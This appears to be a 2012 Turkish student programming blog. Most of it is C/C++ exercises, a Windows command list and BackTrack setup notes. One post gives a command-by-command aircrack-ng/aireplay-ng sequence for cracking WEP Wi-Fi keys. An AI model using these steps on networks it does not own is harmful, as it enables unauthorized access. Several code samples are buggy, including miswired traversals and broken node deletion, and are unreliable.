Monday 16 January 2012

How to create binary tree

#include<iostream>
#include<stdio.h>
#include<time.h>
#include<iomanip>
#include<conio.h>
#define dimension 11
using namespace std;

struct tree{
 int value;
 tree *leftptr;
 tree *rightptr;
};
typedef tree Tree;
typedef Tree *treePtr;
void create(treePtr *,int);
void silme(treePtr *);
void remove(treePtr);
void inorder(treePtr);
void postorder(treePtr);
void preorder(treePtr);
void go_array(treePtr,int[],int *);
void main(){
 srand(time(NULL));
 int val,i,key;  //val means value, i means counter , key is keyboard input
 int counter=0;
 int arrayx[dimension]={0};
 treePtr root = NULL;
 for(i=0;i<11;i++){

  val = rand()%999+1;
  create(&root,val);
 }

 go_array(root,arrayx,&counter);
 cout << "inorder scanning..." << endl;
 inorder(root);
 cout <<endl<<"Preorder scanning..."<<endl;
 preorder(root);
 cout <<endl<<"Postorder scanning..."<<endl;
 postorder(root);
 cout<<endl;
 cout << "Array : "<<endl;
 for(i=0;i<11;i++)
  cout <<arrayx[i] <<"  ";
 cout<<endl;
 cout <<"Sayac = "<<counter<<endl;
 cout <<endl<< "Press 1 to delete a node from to tree or 0 to pass and exit : ";
 cin.ignore(0,'\n');
 cin>>key;
 cout << key<<endl;
 if(key==1)
 remove(root);
 inorder(root);
 getch();
}
void create(treePtr *proot,int qvalue){
 treePtr tara,yeni;
 yeni = new Tree;
 tara = *proot;
 yeni->value=qvalue;
 yeni->leftptr = NULL;
 yeni->rightptr = NULL;
 bool bulundu = false;
 if((*proot)==NULL){//ilk düğüm ekleniyor
  *proot = yeni;
 }
 while(tara!=NULL && bulundu!=true){
  if(qvalue<tara->value){
   if(tara->leftptr!=NULL)
    tara=tara->leftptr;
   else{
    tara->leftptr = yeni;
    bulundu = true;
   }     
  }
  else if(qvalue>tara->value){
    if(tara->rightptr!=NULL)
     tara=tara->rightptr;
    else{
     tara->rightptr = yeni;
     bulundu = true;
    }
  }
  else 
   break;
 }
}
void inorder(treePtr p){
 if(p){
  inorder(p->leftptr);
  cout << p->value <<"  ";
  inorder(p->rightptr);
 }
}
void postorder(treePtr p){
 if(p){
  inorder(p->leftptr);
  inorder(p->rightptr);
  cout << p->value <<"  ";
  
 }
}
void preorder(treePtr p){
 if(p){
  cout << p->value <<"  ";
  inorder(p->leftptr);
  inorder(p->rightptr);
 }
}
void go_array(treePtr p,int q[dimension],int *s){

 if(p){
  
  go_array(p->leftptr,q,s);
  q[*s]=p->value;
  (*s)++;
  go_array(p->rightptr,q,s);
  
  
 }
}
void remove(treePtr p){
 
 int sil;
 cout << "NE SILMEK ISTIYORSUN : ";
 cin.ignore(2,'\n');
 cin >> sil;
 char yon;
 treePtr tara,ust;
 tara = p;
 bool var = false;
 while(tara && var!=true){
  if(sil<tara->value){
    ust=tara;
    yon = 'l';
    tara=tara->leftptr;
  }else if(sil>tara->value){
    ust=tara;
    yon = 'r';
    tara=tara->rightptr;
  }else
   var = true;
 }
 if(var==true){
  if(yon=='l')
   silme(&(ust->leftptr));
  else if(yon=='r')
   silme(&(ust->rightptr));
  else 
   silme(&p);
 }
 else
  cout << "HATA" <<endl;

}
void silme(treePtr *s){
 treePtr r,q;
 r=*s;
 if(r==NULL)
  return;
 else if(r->rightptr==NULL){
  *s=r->leftptr;
  delete r;
 }
 else if(r->leftptr==NULL){
  *s=r->rightptr;
  delete r;
 }
 else {
  for(q=r->rightptr;q->leftptr;q=q->leftptr);
  q=r->leftptr;
  *s=r->rightptr;
  delete r;
 }

}

Syntax Highligter 3 and Blogspot

Syntax Highlighter version 3.0.83 has been released and there are quite a few changes in the way things work now. I realized this when the rendering on this site broke after I modified it to use the latest release. So, here is the steps required to setup the "hosted" version of the latest Syntax Highlighter (version 3.0.83) and integrate with your Blogger/Blogspot blog.

Installation

  1. Navigate to Dashboard > Design > Edit HTML
  2. Backup the current template by clicking on the link Download Full Template
  3. In the textarea, press CTRL+F to find the code </head>
  4. Copy the below code and paste it just above

And Save it if you want to add another languages,gooo.
<link href='http://alexgorbatchev.com/pub/sh/current/styles/shThemeDefault.css' rel='stylesheet' type='text/css'/>
Moreover,you can replace shThemeDefault in the above line with any one of the following themes:
Django - shThemeDjango
Eclipse - shThemeEclipse
Emacs - shThemeEmacs
Fade to Grey - shThemeFadeToGrey
Midnight - shThemeMidnight
RDark - shThemeRDark

Usage

To use it in your blog post, there are a couple of things that need to be done.
  1. Escape all code by replacing any occurrences of:
    1. < with &lt;
    2. > with &gt;
  2. Enclose the escaped code between <pre class="brush:[brush_name];[optional_params]"> and </pre>
  3. Setup the proper brush name (based on the code being highlighted) in the opening pre tag. Using the correct brush will ensure proper highlighting of the code

Tuesday 10 January 2012

Basic File Reading in C

#include< stdio.h>
#include< stdlib.h>
int main()
{
int hesap;
char ad[30];
double bakiye;
FILE*fPtr;
fPtr=fopen("musteri.txt","r");
if(fPtr==NULL)
printf("Dosya Bozuk!!!");
else{
printf("%-10s%-13s%s\n","hesap","isim","bakiye");
fscanf(fPtr,"%d%s%lf",&hesap,ad,&bakiye);

while(!feof(fPtr)){
printf("%-10d%-13s%7.2f\n",hesap,ad,bakiye);
fscanf(fPtr,"%d%s%lf",&hesap,ad,&bakiye);
}
fclose(fPtr);
}
system("pause");
return 0;
}
    

Write Sequential File in C


#include< stdio.h>
#include< stdlib.h>

int main()
{
    int hesap;
    char isim[30];
    double bakiye;
    
    FILE*cfPtr;
    
    if((cfPtr=fopen("musteri.txt","w"))==NULL)
    printf("Dosya acilamadi\n");
    else{
         printf("Hesap numarasini,ismi ve bakiyeyi giriniz.\n");
         printf("EOF ile veri girisini sonlandiriniz\n");
         printf("? ");
         scanf("%d%s%lf",&hesap,isim,&bakiye);
         
         while(!feof(stdin))
         {
                fprintf(cfPtr,"%d %s %.2f\n",hesap,isim,bakiye);
                printf("? ");
                scanf("%d%s%lf",&hesap,isim,&bakiye);            
                            
                            }
         fclose(cfPtr);
         }
    system("pause");
    return 0;
    
    }

Random Access File Writing in C

#include< stdio.h>

struct musteriVerisi{
int hesapNo;
char soyisim[15];
char isim[10];
double bakiye;
};
int main(){
    FILE*cfPtr;
    struct musteriVerisi musteri={0,"","",0.0};
    if((cfPtr=fopen("kredi.dat","r+"))==NULL)
    printf("Dosya acilamiyor\n");
    else{
        printf("Hesap numarasini giriniz(1-100)\n");
    scanf("%d",&musteri.hesapNo);
    while(musteri.hesapNo!=0)
    {
    printf("soyisim,isim,bakiye giriniz\n");
    fscanf(stdin,"%s%s%lf",musteri.soyisim,musteri.isim,&musteri.bakiye);
    fseek(cfPtr,(musteri.hesapNo-1)*sizeof(struct musteriVerisi),SEEK_SET);
    fwrite(&musteri,sizeof(struct musteriVerisi),1,cfPtr);
    printf("Hesap numarasini giriniz(1-100)\n");
    scanf("%d",&musteri.hesapNo);         
        } 
        fclose(cfPtr);
        
    }   
getch();
return 0;
}

Random Access File Reading in C

#include

struct musteriVerisi{
   int hesapNo;
   char soyisim[15];
   char isim[10];
   double bakiye;
   };
int main()
{
FILE*cfPtr;
struct musteriVerisi musteri={0,"","",0.0};
if((cfPtr=fopen("kredi.dat","r"))==NULL)
printf("Dosya acilamiyor\n");
else{
 printf("%-6s%-16s%-11s%10s\n","HspNo","Soyisim","Isim","Bakiye");
     while(!feof(cfPtr))
 {
 fread(&musteri,sizeof(struct musteriVerisi),1,cfPtr);
 
 if(musteri.hesapNo!=0)
 printf("%-6d%-16s%-11s%10.2f\n",musteri.hesapNo,
musteri.soyisim,musteri.isim,musteri.bakiye);        
     } 
     fclose(cfPtr);
 }
 getch();
 return 0;
}

Simple Poker Game in C

#include
#include
#include
#include
/*#define SATIR 4
#define SUTUN 13*/
void desteyikar(int[][13]);
void desteyidagit(int[][13],const char*[],const char*[]);
void durum(int[][13],const char*[],const char*[]);
//int yeniden(void);

//void renk(char*[],char*[]);
int main()
{
    int again;
    const char*takim[4]={"kupa","karo","sinek","maca"};
    const char*taraf[13]={"as","iki","uc","dOrt","bes","alti","yedi","sekiz","dokuz","on","vale","kiz","papaz"};
      int deste[4][13]={0};
      char secim;
      
      
    
  
   printf("Poker oynamak ister misin E/H ? ");
 scanf("%c",&secim);
   if(secim!='h')
   {
   srand(time(0));
   desteyikar(deste);
  
   desteyidagit(deste,taraf,takim);
 
   durum(deste,taraf,takim);
  /*printf("Tekrar oynamak ister misin ? E/H");
  scanf("%c",&secim);*/
}

    getch();
    
    return 0;
       
}
void desteyikar(int adeste[][13])
{
    int satir,sutun,kart;

    for(kart=1;kart<=52;kart++)
    {
    do{
    satir=rand()%4;
    sutun=rand()%13;
    }while(adeste[satir][sutun]!=0);
    
    adeste[satir][sutun]=kart;
    }
}

void desteyidagit(int adeste[][13],const char*ataraf[],const char*atakim[])
{    
     
    
     int kart,satir,sutun;
     printf("Your hand is \n\n");
     for(kart=1;kart<=5;kart++)
     for(satir=0;satir<=3;satir++)
     for(sutun=0;sutun<=12;sutun++)
  
     if(adeste[satir][sutun]==kart)
     { 
     printf("%5s %-8s\t",atakim[satir],ataraf[sutun]);
     }
     printf("\nMy hand is \n\n");
     for(kart=6;kart<=10;kart++)
     for(satir=0;satir<=3;satir++)
     for(sutun=0;sutun<=12;sutun++)
  
     if(adeste[satir][sutun]==kart)
     { 
     printf("%5s %-8s\t",atakim[satir],ataraf[sutun]);
     }

}

void durum(int adeste[][13],const char*ataraf[],const char*atakim[])
{ 
      int kart,satir,sutun,r=0,q=0;
      char s1[5],s2[5],s3[5],s4[5],s5[5],s6[5],s7[5],s8[5],s9[5],s10[5];
      int buyukluk[10],i;
     for(kart=1;kart<=10;kart++)
     for(satir=0;satir<=3;satir++)
     for(sutun=1;sutun<=12;sutun++)
    { 
     if(adeste[satir][sutun]==1)
     { 
      
         
     *s1=*ataraf[sutun];
     *(s1+1)=*(ataraf[sutun]+1);
 *(s1+2)=*(ataraf[sutun]+2);
 *(s1+3)=*(ataraf[sutun]+3);
 *(s1+4)=*(ataraf[sutun]+4);                           
     }
     if(adeste[satir][sutun]==2)
     {  
    
     *s2=*ataraf[sutun];
     *(s2+1)=*(ataraf[sutun]+1);
 *(s2+2)=*(ataraf[sutun]+2);
 *(s2+3)=*(ataraf[sutun]+3);
 *(s2+4)=*(ataraf[sutun]+4);                      
    
     }
     if(adeste[satir][sutun]==3)
     { 
   *s3=*ataraf[sutun];
     *(s3+1)=*(ataraf[sutun]+1);
 *(s3+2)=*(ataraf[sutun]+2);
 *(s3+3)=*(ataraf[sutun]+3);
 *(s3+4)=*(ataraf[sutun]+4);
   
     }
     if(adeste[satir][sutun]==4)
     { 
   *s4=*ataraf[sutun];
     *(s4+1)=*(ataraf[sutun]+1);
 *(s4+2)=*(ataraf[sutun]+2);
 *(s4+3)=*(ataraf[sutun]+3);
 *(s4+4)=*(ataraf[sutun]+4);
  
     }
     if(adeste[satir][sutun]==5)
     { 
   *s5=*ataraf[sutun];
     *(s5+1)=*(ataraf[sutun]+1);
 *(s5+2)=*(ataraf[sutun]+2);
 *(s5+3)=*(ataraf[sutun]+3);
 *(s5+4)=*(ataraf[sutun]+4);
     }
     if(adeste[satir][sutun]==6)
     {
  for(i=0;i<=4;i++)
  *(s6+i)=*(ataraf[sutun]+i);       
     }
     if(adeste[satir][sutun]==7)
     {
  for(i=0;i<=4;i++)
  *(s7+i)=*(ataraf[sutun]+i);       
     }
     if(adeste[satir][sutun]==8)
     {
  for(i=0;i<=4;i++)
  *(s8+i)=*(ataraf[sutun]+i);       
     }
     if(adeste[satir][sutun]==9)
     {
  for(i=0;i<=4;i++)
  *(s9+i)=*(ataraf[sutun]+i);       
     }
     if(adeste[satir][sutun]==10)
     {
  for(i=0;i<=4;i++)
  *(s10+i)=*(ataraf[sutun]+i);       
     }
    }

    buyukluk[0]=sizeof(s1)/sizeof(char);
    buyukluk[1]=sizeof(s2)/sizeof(char);
    buyukluk[2]=sizeof(s3)/sizeof(char);
    buyukluk[3]=sizeof(s4)/sizeof(char);
    buyukluk[4]=sizeof(s5)/sizeof(char);
    buyukluk[5]=sizeof(s6)/sizeof(char);
    buyukluk[6]=sizeof(s7)/sizeof(char);
    buyukluk[7]=sizeof(s8)/sizeof(char);
    buyukluk[8]=sizeof(s9)/sizeof(char);
    buyukluk[9]=sizeof(s10)/sizeof(char);
    

    if(buyukluk[0]==buyukluk[1])
      if((*s1==*s2)&&(*(s1+1)==*(s2+1)))
  r++;
 if(buyukluk[0]==buyukluk[2])
      if((*s1==*s3)&&(*(s1+1)==*(s3+1)))
  r++;
     if(buyukluk[0]==buyukluk[3])
      if((*s1==*s4)&&(*(s1+1)==*(s4+1)))
  r++;
     if(buyukluk[0]==buyukluk[4])
      if((*s1==*s5)&&(*(s1+1)==*(s5+1)))
  r++;
     if(buyukluk[1]==buyukluk[2])
      if((*s2==*s3)&&(*(s2+1)==*(s3+1)))
  r++;
     if(buyukluk[1]==buyukluk[3])
      if((*s2==*s4)&&(*(s2+1)==*(s4+1)))
  r++;  
  if(buyukluk[1]==buyukluk[4])
      if((*s2==*s5)&&(*(s2+1)==*(s5+1)))
  r++;
 if(buyukluk[2]==buyukluk[3])
      if((*s3==*s4)&&(*(s3+1)==*(s4+1)))
  r++;
     if(buyukluk[2]==buyukluk[3])
      if((*s3==*s5)&&(*(s3+1)==*(s5+1)))
  r++;
     if(buyukluk[3]==buyukluk[4])
      if((*s4==*s5)&&(*(s4+1)==*(s5+1)))
  r++;
     
    if(buyukluk[5]==buyukluk[6])
      if((*s5==*s6)&&(*(s5+1)==*(s6+1)))
  q++;
 if(buyukluk[5]==buyukluk[7])
      if((*s5==*s7)&&(*(s5+1)==*(s7+1)))
  q++;
     if(buyukluk[5]==buyukluk[8])
      if((*s5==*s8)&&(*(s5+1)==*(s8+1)))
  q++;
     if(buyukluk[5]==buyukluk[9])
      if((*s5==*s9)&&(*(s5+1)==*(s9+1)))
  q++;
     if(buyukluk[6]==buyukluk[7])
      if((*s6==*s7)&&(*(s6+1)==*(s7+1)))
  q++;
     if(buyukluk[6]==buyukluk[8])
      if((*s6==*s8)&&(*(s6+1)==*(s8+1)))
  q++;  
  if(buyukluk[6]==buyukluk[9])
      if((*s6==*s9)&&(*(s6+1)==*(s9+1)))
  q++;
 if(buyukluk[7]==buyukluk[8])
      if((*s7==*s8)&&(*(s7+1)==*(s8+1)))
  q++;
     if(buyukluk[7]==buyukluk[9])
      if((*s7==*s9)&&(*(s7+1)==*(s9+1)))
  q++;
     if(buyukluk[8]==buyukluk[9])
      if((*s8==*s9)&&(*(s8+1)==*(s9+1)))
  q++;
    
     
    if(r==1)
    printf("\nYour hand has One pair\n");
    if(r==2)
    printf("\nYour hand has Two pair\n"); 
    if(r==3)
    printf("\nYour hand has Three of a Kind\n");
    if(r==6)
    printf("\nYour hand has Four of a Kind\n");
    printf("\n\n");

    if(q==1)
    printf("\nMy hand has One pair\n");
    if(q==2)
    printf("\nMy hand has Two pair\n"); 
    if(q==3)
    printf("\nMy hand has Three of a Kind\n");
    if(q==6)
    printf("\nMy hand has Four of a Kind\n");
    printf("\n-------------------------------------------\n");
    if(r>q)
    printf("Your hand is winner\n");
    if(q>r)
    printf("My hand is winner\n");
    if(q==r)
    printf("Draw\n");
}
  


Magic Square

#include <stdio.h>
#include<stdlib.h>
int main()
{   
    int k,i,j,n;
    int row,col,newRow,newCol; 
int square[20][20];  //boyut arttırılabilir
    printf("matrisin boyutunu giriniz...\n");
scanf("%d",&n);
    for(i=0;i<n;i++) {
        for(j=0;j<n;j++) {
                square[i][j]=0;
        }
    }

    row=1;
    col=(n+1)/2;
    k=1;
    square[row-1][col-1]=k;


    for(k=2;k<=n*n;k++)
    {
        newRow=row-1;
        newCol=col+1;
        if (newRow==0&&newCol==(n+1))
        {
            newRow=row+1;
            newCol=n;
            row=newRow;
            col=newCol;
            square[row-1][col-1]=k;
        }
        else
        {
            while(newRow==0) //while if ile degistirilebilir
            {
            newRow=n;
            }
            while(newCol==(n+1))
            {
                newCol=1;
            }
            if(square[newRow-1][newCol-1]==0)
            {
                row=newRow;
                col=newCol;
                square[row-1][col-1]=k;
            }
            else
            {
                newRow=row+1;
                newCol=col;
                while(newRow==(n+1))
                {
                    newRow=1;
                }
                    row=newRow;
                    col=newCol;
                    square[row-1][col-1]=k;
            }
        }
    }
printf("%d*%d magic square:\n",n,n);
for(i=0;i<n;i++)
{
for(j=0;j<n;j++)
{
printf("%d ",square[i][j]);
}
printf("\n");
}
     system("pause");
    return 0;
}

Monday 9 January 2012

Ms-Dos codes

   ADDUSERS Add or list users to/from a CSV file
   ADmodcmd Active Directory Bulk Modify
   ARP      Address Resolution Protocol
   ASSOC    Change file extension associations•
   ASSOCIAT One step file association
   ATTRIB   Change file attributes
b
   BCDBOOT  Create or repair a system partition
   BOOTCFG  Edit Windows boot settings
   BROWSTAT Get domain, browser and PDC info
c
   CACLS    Change file permissions
   CALL     Call one batch program from another•
   CD       Change Directory - move to a specific Folder•
   CHANGE   Change Terminal Server Session properties
   CHKDSK   Check Disk - check and repair disk problems
   CHKNTFS  Check the NTFS file system
   CHOICE   Accept keyboard input to a batch file
   CIPHER   Encrypt or Decrypt files/folders
   CleanMgr Automated cleanup of Temp files, recycle bin
   CLEARMEM Clear memory leaks
   CLIP     Copy STDIN to the Windows clipboard.
   CLS      Clear the screen•
   CLUSTER  Windows Clustering
   CMD      Start a new CMD shell
   CMDKEY   Manage stored usernames/passwords
   COLOR    Change colors of the CMD window•
   COMP     Compare the contents of two files or sets of files
   COMPACT  Compress files or folders on an NTFS partition
   COMPRESS Compress individual files on an NTFS partition
   CON2PRT  Connect or disconnect a Printer
   CONVERT  Convert a FAT drive to NTFS.
   COPY     Copy one or more files to another location•
   CSCcmd   Client-side caching (Offline Files)
   CSVDE    Import or Export Active Directory data 
d
   DATE     Display or set the date•
   DEFRAG   Defragment hard drive
   DEL      Delete one or more files•
   DELPROF  Delete NT user profiles
   DELTREE  Delete a folder and all subfolders
   DevCon   Device Manager Command Line Utility 
   DIR      Display a list of files and folders•
   DIRUSE   Display disk usage
   DISKCOMP Compare the contents of two floppy disks
   DISKCOPY Copy the contents of one floppy disk to another
   DISKPART Disk Administration
   DNSSTAT  DNS Statistics
   DOSKEY   Edit command line, recall commands, and create macros
   DSACLs   Active Directory ACLs
   DSAdd    Add items to active directory (user group computer) 
   DSGet    View items in active directory (user group computer)
   DSQuery  Search for items in active directory (user group computer)
   DSMod    Modify items in active directory (user group computer)
   DSMove   Move an Active directory Object
   DSRM     Remove items from Active Directory
e
   ECHO     Display message on screen•
   ENDLOCAL End localisation of environment changes in a batch file•
   ERASE    Delete one or more files•
   EVENTCREATE Add a message to the Windows event log
   EXIT     Quit the current script/routine and set an errorlevel•
   EXPAND   Uncompress files
   EXTRACT  Uncompress CAB files
f
   FC       Compare two files
   FIND     Search for a text string in a file
   FINDSTR  Search for strings in files
   FOR /F   Loop command: against a set of files•
   FOR /F   Loop command: against the results of another command•
   FOR      Loop command: all options Files, Directory, List•
   FORFILES Batch process multiple files
   FORMAT   Format a disk
   FREEDISK Check free disk space (in bytes)
   FSUTIL   File and Volume utilities
   FTP      File Transfer Protocol
   FTYPE    Display or modify file types used in file extension associations•
g
   GLOBAL   Display membership of global groups
   GOTO     Direct a batch program to jump to a labelled line•
   GPUPDATE Update Group Policy settings
h
   HELP     Online Help
i
   iCACLS   Change file and folder permissions
   IF       Conditionally perform a command•
   IFMEMBER Is the current user in an NT Workgroup
   IPCONFIG Configure IP
k
   KILL     Remove a program from memory
l
   LABEL    Edit a disk label
   LOCAL    Display membership of local groups
   LOGEVENT Write text to the NT event viewer
   LOGMAN   Manage Performance Monitor
   LOGOFF   Log a user off
   LOGTIME  Log the date and time in a file
m
   MAPISEND Send email from the command line
   MBSAcli  Baseline Security Analyzer. 
   MEM      Display memory usage
   MD       Create new folders•
   MKLINK   Create a symbolic link (linkd)
   MODE     Configure a system device
   MORE     Display output, one screen at a time
   MOUNTVOL Manage a volume mount point
   MOVE     Move files from one folder to another•
   MOVEUSER Move a user from one domain to another
   MSG      Send a message
   MSIEXEC  Microsoft Windows Installer
   MSINFO32 System Information
   MSTSC    Terminal Server Connection (Remote Desktop Protocol)
   MV       Copy in-use files
n
   NET      Manage network resources
   NETDOM   Domain Manager
   NETSH    Configure Network Interfaces, Windows Firewall & Remote access
   NETSVC   Command-line Service Controller
   NBTSTAT  Display networking statistics (NetBIOS over TCP/IP)
   NETSTAT  Display networking statistics (TCP/IP)
   NOW      Display the current Date and Time 
   NSLOOKUP Name server lookup
   NTBACKUP Backup folders to tape
   NTRIGHTS Edit user account rights
o
   OPENFILES Query or display open files
p
   PATH     Display or set a search path for executable files•
   PATHPING Trace route plus network latency and packet loss
   PAUSE    Suspend processing of a batch file and display a message•
   PERMS    Show permissions for a user
   PERFMON  Performance Monitor
   PING     Test a network connection
   POPD     Restore the previous value of the current directory saved by PUSHD•
   PORTQRY  Display the status of ports and services
   POWERCFG Configure power settings
   PRINT    Print a text file
   PRINTBRM Print queue Backup/Recovery
   PRNCNFG  Display, configure or rename a printer
   PRNMNGR  Add, delete, list printers set the default printer
   PROMPT   Change the command prompt•
   PsExec     Execute process remotely
   PsFile     Show files opened remotely
   PsGetSid   Display the SID of a computer or a user
   PsInfo     List information about a system
   PsKill     Kill processes by name or process ID
   PsList     List detailed information about processes
   PsLoggedOn Who's logged on (locally or via resource sharing)
   PsLogList  Event log records
   PsPasswd   Change account password
   PsService  View and control services
   PsShutdown Shutdown or reboot a computer
   PsSuspend  Suspend processes
   PUSHD    Save and then change the current directory•
q
   QGREP    Search file(s) for lines that match a given pattern.
r
   RASDIAL  Manage RAS connections
   RASPHONE Manage RAS connections
   RECOVER  Recover a damaged file from a defective disk.
   REG      Registry: Read, Set, Export, Delete keys and values
   REGEDIT  Import or export registry settings
   REGSVR32 Register or unregister a DLL
   REGINI   Change Registry Permissions
   REM      Record comments (remarks) in a batch file•
   REN      Rename a file or files•
   REPLACE  Replace or update one file with another
   RD       Delete folder(s)•
   RMTSHARE Share a folder or a printer
   ROBOCOPY Robust File and Folder Copy
   ROUTE    Manipulate network routing tables
   RUN      Start | RUN commands
   RUNAS    Execute a program under a different user account
   RUNDLL32 Run a DLL command (add/remove print connections)
s
   SC       Service Control
   SCHTASKS Schedule a command to run at a specific time
   SCLIST   Display NT Services
   SET      Display, set, or remove environment variables•
   SETLOCAL Control the visibility of environment variables•
   SETX     Set environment variables permanently
   SFC      System File Checker 
   SHARE    List or edit a file share or print share
   SHIFT    Shift the position of replaceable parameters in a batch file•
   SHORTCUT Create a windows shortcut (.LNK file)
   SHOWGRPS List the NT Workgroups a user has joined
   SHOWMBRS List the Users who are members of a Workgroup
   SHUTDOWN Shutdown the computer
   SLEEP    Wait for x seconds
   SLMGR    Software Licensing Management (Vista/2008)
   SOON     Schedule a command to run in the near future
   SORT     Sort input
   START    Start a program or command in a separate window•
   SU       Switch User
   SUBINACL Edit file and folder Permissions, Ownership and Domain
   SUBST    Associate a path with a drive letter
   SYSTEMINFO List system configuration
t
   TASKLIST List running applications and services
   TASKKILL Remove a running process from memory
   TIME     Display or set the system time•
   TIMEOUT  Delay processing of a batch file
   TITLE    Set the window title for a CMD.EXE session•
   TLIST    Task list with full path
   TOUCH    Change file timestamps    
   TRACERT  Trace route to a remote host
   TREE     Graphical display of folder structure
   TSSHUTDN Remotely shut down or reboot a terminal server
   TYPE     Display the contents of a text file•
   TypePerf Write performance data to a log file
u
   USRSTAT  List domain usernames and last login
v
   VER      Display version information•
   VERIFY   Verify that files have been saved•
   VOL      Display a disk label•
w
   WAITFOR  Wait for or send a signal
   WHERE    Locate and display files in a directory tree
   WHOAMI   Output the current UserName and domain
   WINDIFF  Compare the contents of two files or sets of files
   WINMSDP  Windows system report
   WINRM    Windows Remote Management
   WINRS    Windows Remote Shell
   WMIC     WMI Commands
   WUAUCLT  Windows Update
x
   XCACLS   Change file and folder permissions
   XCOPY    Copy files and folders
   ::       Comment / Remark•

Wednesday 4 January 2012

Installing backtrack 5 in usb-drive

First of All , Download Backtrack 5  http://www.backtrack-linux.org/downloads/  from this website and then
andother downloading is that UNetbootin from http://unetbootin.sourceforge.net/  and run it.Choose and select suffiicient options and you should  use minumum 4 GB flash-disc.Reboot your pc and press F2 or F8 (whatever ur bios service button) select start from USB-DRİVE and Continue with Backtrack 5. Finally, you will see a terminal if you pass the interface you write this code "startx" and begin with backtrack 5 ,have a nice hacking. 

BackTrack 5


 How can i wireless hacking ?
http://www.backtrack-linux.org/downloads/  bu linkten back|track 5 linux tabanlı işletim sistemine ulaşabilirsiniz kullanacağınız kodlar çok basit fakat bu wireless hacking sadece web şifreleme türünde işe yarıyor wpa ve wpa2 için dictionary file(sözlük dosyası gerekiyor). Web şifreleme türünü kırmak kod yazmadan da mümkün fakat biraz karışık backtrack 5 içinde gerix adlı bir program barındırıyor buda işinize yara fakat ben kodlarla wireless hacking yapıyorum artık hangisi işinize gelirse.

Sırasıyla yazmanız gereken kodlar 
airmon-ng
airmon-ng wlan0
airmon-ng start wlan0
airodump-ng mon0
Yeni bir terminal açıyoruz -->
airodump-ng -w wep -c channel(kanal numarası) --bssid INPUT(bssid numarası) mon0
Yeni bir terminal açıyoruz -->
aireplay-ng -1 0 -a INPUT mon0
Yeni bir terminal açıyoruz -->
 aireplay-ng -3 -b INPUT mon0
Son olarak da kırma işlemini başlatmak için
 aircrack-ng wep-01.cap yazıp enter tuşluyoruz eğer yeterli dataya ulaşamadıysa uyarı olarak belirtiyor zaten tekrar tekrar aircrack-ng wep-01.cap yazıyoruz.




Tuesday 3 January 2012

Yığın (Stack)

yigin.cpp
#include<stdio.h>
#include<iostream>
#include<iomanip>
#include<conio.h>
#include<stdlib.h>

#include"yigin.h"
using namespace std;
void Yigin::olustur(){
    bas==NULL;
}
void Yigin::kapat(){
    stackPtr p;
    while(bas){
    p=bas;
    bas=bas->sonraki;
    delete p;
    }
}
void Yigin::ekle(ogrenciPtr sPtr){
    stackPtr yeni;
    yeni = new Stack;
    yeni->dugum = sPtr;
    yeni->sonraki=bas;
    bas=yeni;
}
ogrenciPtr Yigin::cikar(){
    stackPtr ustdugum;
    ogrenciPtr node;
    node = new Ogrenci;
    ustdugum = bas;
    bas = bas->sonraki;
    node = ustdugum->dugum;
    delete ustdugum;
    return node;
}
bool Yigin::bosmu(){
    return bas==NULL;
}
void Yigin::ilkderinlikara(ogrenciPtr root,char *aranacak){
    ogrenciPtr tara;
    ekle(root);
    while(!bosmu()){
        tara = cikar();
        if(tara->ogrno==aranacak){
            cout << tara->ogrno <<" "<< tara->ad<<" "<<tara->soyad <<endl;
            break;
        }
        if(tara->sagPtr!=NULL)
            ekle(tara->sagPtr);
        if(tara->solPtr!=NULL)
            ekle(tara->solPtr);
    }
    if(bosmu())
        cout << "Bu numarada bir ogrenci bulunamadi!"<<endl;
}
yigin.h
#ifndef YIGIN_H
#include<stdio.h>
#include"ogrenci.h"
struct stack{
    ogrenciPtr dugum;
    stack *sonraki;
};
typedef stack Stack;
typedef Stack *stackPtr;
struct Yigin{
    stackPtr bas;
    void olustur();
    void ekle(ogrenciPtr);
    ogrenciPtr cikar();
    void ilkderinlikara(ogrenciPtr,char *);
    bool bosmu();
    void kapat();    
};

#endif

Reading file and creating binary tree

void Agac::agackur(char *talebeno,char *isim,char *soyisim){
    ogrenciPtr tara,yeni;
    tara = kok;
    int karsilas;
    bool eklenme_durumu = false;
    yeni = new Ogrenci;
    strcpy(yeni->ad,isim);
    strcpy(yeni->soyad,soyisim);
    strcpy(yeni->ogrno,talebeno);
    yeni->sagPtr = NULL;
    yeni->solPtr = NULL;
    if(kok==NULL){
        kok=yeni;
        //ilk düğüm burada eklenir
        dugumsayisi++;
        return;
    }
    while((tara!=NULL) && (!eklenme_durumu)){           
        karsilas = strcmp(yeni->ogrno,tara->ogrno);
        if(karsilas<0){
            if(tara->solPtr != NULL)
                tara=tara->solPtr;
            else{
                tara->solPtr = yeni;
                eklenme_durumu = true;
            }
        }else if(karsilas>0){
            if(tara->sagPtr != NULL)
                tara = tara->sagPtr;
            else{
                tara->sagPtr = yeni;
                eklenme_durumu = true;
            }
        }else
            ;
    }
    if(eklenme_durumu)
        dugumsayisi++;
    //Diğer düğümler yukarıdaki satırlarda eklenir
       
       

}
/**********************************************************************************************************************************
* Fonksiyonun adı:dosyadanoku                                                                                                     *
* Fonksiyonun amacı:girdi dosyasindan ogrenci bilgilerini okuyarak agackur fonksiyonuna gönderirir                                  *              
* Giriş Parametresi: ---                                                                                                          *
* Çıkış parametresi: ---                                                                                                          *
* Veri yapıları:struct Kayit                                                                                                      * 
***********************************************************************************************************************************/
void Agac::dosyadanoku(){
    struct Kayit{
        char ad[Ad_soyad_uzunluk];
        char soyad[Ad_soyad_uzunluk];
        char ogrno[Ogrenci_no_uzunluk];
    };
    Kayit kayit;
    char four[Ad_soyad_uzunluk];
    char c;
    cout << "okunuyor" <<endl;
    ifstream oku;
    oku.open("data1.txt",fstream::out);
    if(oku==NULL)
        cerr << "Hata" << endl;
   

    while(!oku.eof()){
        oku >> kayit.ogrno >> kayit.ad >> kayit.soyad;
        if(kayit.ogrno==NULL)
            break;
        oku.get(c);//Bir karakter okur
        c=oku.peek();//Sonraki karakteri okur fakat imlec ilerlemez
        if(c>='A' && c<='Z'){
            oku >> four;
            oku.ignore(1);
            strcat(kayit.ad," ");
            strcat(kayit.ad,kayit.soyad);
            strcpy(kayit.soyad,four);
        }else if(c>='0' && c<='9')
            ;
        else if(c==NULL){
            agackur(kayit.ogrno,kayit.ad,kayit.soyad);
            break;
        }
        agackur(kayit.ogrno,kayit.ad,kayit.soyad);
    }
    oku.close();
}

Matrix falling code

open notepad and write these codes and then save it a.bat and run it.

@echo off
cls
color 02
:a
